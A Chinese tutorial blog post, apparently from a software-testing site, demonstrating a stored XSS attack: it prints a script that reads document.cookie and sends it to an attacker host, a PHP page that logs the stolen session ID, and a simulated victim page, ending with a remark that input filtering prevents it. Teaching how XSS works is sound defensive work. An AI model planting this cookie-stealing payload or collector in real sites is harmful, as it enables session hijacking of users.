XSS跨站脚本攻(一)
作者:随风 发布时间:[ 2017/7/6 10:11:03 ] 推荐标签:网络安全 脚本 XSS
3、恶意攻击者插入相应代码
1 <script>
2 var Str=document.cookie; //获取cookie
3 var a =document.createElement('a'); //创建a标签
4 a.href='http://www.linuxtest.com/test2.php?'+Str; //攻击者主机
5 a.innerHTML="<img src='./aa.jpg'>"; //掩护图片
6 document.body.appendChild(a); //将标签添加到页面中
7 </script>
4、数据(攻击代码)插入数据库
5、攻击者控制的主机中设置接收盗取的cookie
1 <?php
2 header("content-type:text/html;charset=utf8");
3 echo "你的PHPSESSID被盗啦";
4 echo "<pre>";
5 print_r($_GET);
6 echo "</pre>";
7 $cookie=$_GET['PHPSESSID'];
8 file_put_contents('./xss.txt', $cookie);
9 ?>
开始模拟测试
1、test88.com中设置生成sessionID代码
1 <?php
2 session_start();
3 $_SESSION['xss']='xssssss';
4 echo "<pre>";
5 print_r($_SESSION);
6 echo "</pre>";die;
7 ?>
2、客户端访问上面代码并生成自己的sessionID
3、客户端访问xss.html
#下面为模拟被攻击后取出数据的xss.html代码(显示数据)
1 <!DOCTYPE html>
2 <html>
3 <head>
4 <title>xss攻击</title>
5 <meta charset="utf-8">
6 </head>
7 <body>
8 <form action="./test99.php" method="post">
9 留言:<input type="text" name="content" value=""><br/>
10 <input type="submit" name="" value='提交'>
11 </form>
12 <br/>留言记录:<br/>
13 <script>
14 var Str=document.cookie; //获取cookie
15 var a =document.createElement('a'); //创建a标签
16 a.href='http://www.linuxtest.com/test2.php?'+Str; //攻击者主机
17 a.innerHTML="<img src='./aa.jpg'>"; //掩护图片
18 document.body.appendChild(a); //将标签添加到页面中
19 </script>
20 </body>
21 </html>
4、客户端不小心点击到图片,sessionID将被盗
# vi xss.txt
【当然这仅仅只是一个很简单的攻击,只要将数据过滤可以避免这个攻击了,这里只是让大家了解XSS是如何进行攻击的。】
本文内容不用于商业目的,如涉及知识产权问题,请权利人联系SPASVO小编(021-61079698-8054),我们将立即处理,马上删除。
相关推荐
自动化测试自行脚本后怎么查看日志?使用AR查看日志方法自动化测试工具中的脚本回放报对象不存在如何解决?如何手工编写自动化测试脚本?通过Fiddler程序录制脚本并回放的过程如何使用自动化测试框架ATF执行Selenium脚本?app自动化测试工具MR的脚本调用自定义函数自动化测试脚本怎么写?如何使用Selenium录制浏览器的脚本?如何使用自动化测试工具AR录制火狐浏览器和Edge浏览器脚本?自动化测试脚本有什么意义?和手工测试相比有什么优势?性能测试工具PR的脚本命令之脚本参数化及设置请求头和校验点的步骤性能测试工具PR常用脚本命令详解:超时设置与返回响应头/响应体数据自动化测试工具AR功能:模糊识别和脚本导入性能测试工具PR常用脚本命令详解(二)移动测试工具MR是如何进行IOS设备录制以及相关脚本命令编辑操作的?自动化测试工具AR进阶功能之脚本参数化实现用例的批量执行自动化测试工具AR进阶功能之脚本调用和视图模式合理使用

更新发布
功能测试和接口测试的区别
2023/3/23 14:23:39如何写好测试用例文档
2023/3/22 16:17:39常用的选择回归测试的方式有哪些?
2022/6/14 16:14:27测试流程中需要重点把关几个过程?
2021/10/18 15:37:44性能测试的七种方法
2021/9/17 15:19:29全链路压测优化思路
2021/9/14 15:42:25性能测试流程浅谈
2021/5/28 17:25:47常见的APP性能测试指标
2021/5/8 17:01:11热门文章
常见的移动App Bug??崩溃的测试用例设计如何用Jmeter做压力测试QC使用说明APP压力测试入门教程移动app测试中的主要问题jenkins+testng+ant+webdriver持续集成测试使用JMeter进行HTTP负载测试Selenium 2.0 WebDriver 使用指南